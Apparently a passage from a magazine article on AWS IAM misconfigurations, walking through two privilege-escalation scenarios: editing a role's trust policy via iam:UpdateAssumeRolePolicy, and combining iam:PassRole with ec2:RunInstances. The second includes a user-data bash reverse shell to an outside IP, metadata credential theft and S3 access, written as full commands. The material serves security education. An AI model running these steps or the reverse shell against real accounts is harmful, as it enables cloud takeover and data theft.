Exploiting, detecting, and correcting IAM security misconfigurations

Bad Actor

Scenario 2: Updating AssumeRolePolicyDocument

In this scenario, an attacker is able to get valid AWS credentials to log in to the account by phishing an internal user [7]. The compromised user has misconfigured attached IAM policies, which lets the attacker edit the AssumeRolePolicyDocument of any existing role, which could range from minimal privileges to full control over Elastic Compute Clouds (EC2s) inside the account (Figure 5).

Figure 5: Phishing for valid AWS credentials.

In this case, the compromised user is operator :

$ aws sts get-caller-identity
{
  "UserId": "AIDA2PVZZYWS3MXZKDH66",
  "Account": "7208<acct>",
  "Arn": "arn:aws:iam::<ARN-TARGET>:user/operator"
}

The next step is to fish around to see whether the user is part of any groups. In this case, the user is found to be part of the devOps group:

$ aws iam list-groups-for-user --user-name operator
{
  "Groups": [
    {
      "Path": "/",
      "GroupName": "devOps",
      ...
    }
  ]
}

During the information gathering phase, the attacker checks the attached policies,

$ aws iam list-attached-group-policies --group-name devOps

and can see just one policy, AssumeRole, which looks interesting (Figure 6). The assumeRole policy attached to the group allows a user to assume all the roles (Figure 7):

$ aws iam get-policy-version --policy-arn arn:aws:iam::<ARN-TARGET>:policy/assumeRole --version-id v1
Figure 6: Checking attached policies.
Figure 7: Checking group permissions.

Checking inline policies, the compromised user also has IAM_Policy:

$ aws iam list-user-policies --user-name operator
{
  "PolicyNames": [
    "IAM_Policy"
  ]
}

Understandably, the IAM permission is either misconfigured or just a permission that was granted for a specific task and not removed afterward.

Checking the actions contained in the policy,

$ aws iam get-user-policy --policy-name IAM_policy --user-name operator

you can see the attached iam:UpdateAssumeRolePolicy (Figure 8).

Figure 8: Checking the policy actions.

With the discovered IAM permission, the user is able to:

  • edit the role they can assume and
  • elevate its privileges inside the account.

The command

$ aws iam update-assume-role-policy --role-name dev-EC2Full --policy-document file://privesc.json

easily escalates the privileges. In the privesc.json file used in the command, the attacker added user ARN to the dev-EC2Full role trust policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::<ARN-TARGET>:user/operator"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

The attacker can now proceed, impersonating the new role with assume-role,

$ aws sts assume-role --role-arn "arn:aws:iam::<ARN-TARGET>:role/dev-EC2Full" --role-session-name AWSCLI-Session

which returns the temporary security credentials that can be used to access the cloud environment with the new role (Figure 9).

Figure 9: Temporary security credentials.

Surprise!?

By importing the new keys obtained locally and checking the currently logged-in user,

$ aws sts get-caller-identity

the attacker successfully escalated the privileges inside the environment (Figure 10). Of course, the information could be used to access all the policies, including AWS managed policies.

Figure 10: Successful escalated privileged using assume-role.

The attacker would now have full privileges over EC2s, with the chance to spawn instances.

In this real-world scenario, a user with a misconfigured iam:UpdateAssumeRolePolicy privilege could lead an attacker to full control over EC2 instances inside the cloud account. For an attacker, that means the chance to create new instances, destroy what is already in place, or both, causing serious damage to the company.

Scenario 3: Creating EC2 Instances and Passing the Role

In this scenario, you can see how the combination of IAM and EC2 privileges could lead to an attacker escalating account privileges from zero to hero. The attacker is able to get valid AWS credentials from a spare phishing attack from a compromised cloud user that has the permissions to run EC2 instances, as well as the ability to pass roles.

With those privileges, the adversary is able to escalate the privileges inside the account, run an EC2 instance, and exfiltrate information stored in a Simple Storage Service (S3) bucket (Figure 11).

Figure 11: Phishing for privileges.

The compromised user is part of a group called devOps :

$ aws iam list-groups-for-user --user-name operator
{
  "Groups": [
    {
      "GroupName": "devOps",
      ...
    }
  ]
}

Checking the permissions attached to the group, you can see two attached policies: dev-Ops and ReadOnlyAccess :

$ aws iam list-attached-group-policies --group-name devOps
{
  "AttachedPolicies": [
    {
      "PolicyName": "dev-Ops",
      ...
    },
    {
      "PolicyName": "ReadOnlyAccess",
      ...
    }
  ]
}

Focusing on the dev-Ops policy,

$ aws iam get-policy-version --policy-arn arn:aws:iam::<ARN-TARGET>:policy/dev-Ops --version-id v1

you can see it has the iam:PassRole and ec2:RunInstances permissions attached (Figure 12). The combination of these two privileges could let the misconfigured user create a new EC2 instance. Not only that, they will have operating system access to which they can pass an existing EC2 instance profile or service role.

Figure 12: Discovering attached dev-Ops permissions.

The run-instances command

$ aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name="devOps-S3Full" --user-data file://revshell.sh

lets the user run a new instance along with other information gathered in the account. Note that it's possible to pass --iam-instance-profile directly during instance creation without having further permissions.

Looking through the available roles in the cloud account, the devOps-S3Full role looks interesting and Figure 13 can be used by the EC2 services.

Figure 13: Finding interesting roles.

The revshell.sh script file opens a bash reverse shell [8] one way or another:

#!/bin/bash
bash -i >& /dev/tcp/107.21.43.88/443 0>&1

Note that to create the instance, the attacker doesn't require any SSH keys or a security group.

Once the machine is launched, the script is executed and the attacker is able to get a running shell on the machine with the root user (Figure 14). In this way, the attacker has full control over the machine to execute whatever they want.

Figure 14: Getting full control.

As you have seen before when using the PassRole privilege, the user can pass whatever permission they want to the created machine. In this case, the attacker passes the FullS3bucket access to the instance and the curl command:

$ curl http://169.254.169.254/l2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

let the user extract the temporary credentials related to the role passed to the ec2 instance (Figure 15). As seen before, the attacker can import the temporary credentials and use them to log in to the cloud account with the role associated with the EC2 created before:

Figure 15: Getting the temporary credentials $ aws sts get-caller-identity.
$ aws sts get-caller-identity
{
  "UserId": "<UserID>:<InstanceID>",
  "Account": "7208<accountID>",
  "Arn": "arn:aws:sts::7208<ARN-TARGET>:assumed-role/devOps-S3Full/<InstanceID>"
}

Once logged in, the adversary now has full control over the S3 bucket, with the chance to exfiltrate sensible information or destroy all the files found on the available bucket:

aws s3 ls

In this case, the attacker found interesting buckets containing credentials and other information related to the Kubernetes environment (Figure 16). Deleting those files might cause serious damage to the running environment.

Figure 16: Getting S3 bucket information.

In this attack scenario, you have seen how an attacker with a combination of two security misconfigurations was able to access the set of permissions that the instance profile and role has, which could range from no privilege escalation to full administrator access of the AWS account.

Buy this article as PDF

Express-Checkout as PDF
Price $2.95
(incl. VAT)

Buy ADMIN Magazine

SINGLE ISSUES
 
SUBSCRIPTIONS
 
TABLET & SMARTPHONE APPS
Get it on Google Play

US / Canada

Get it on Google Play

UK / Australia

Related content

comments powered by Disqus
Subscribe to our ADMIN Newsletters
Subscribe to our Linux Newsletters
Find Linux and Open Source Jobs



Support Our Work

ADMIN content is made possible with support from readers like you. Please consider contributing when you've found an article to be beneficial.

Learn More”>
	</a>

<hr>		    
			</div>
		    		</div>

		<div class=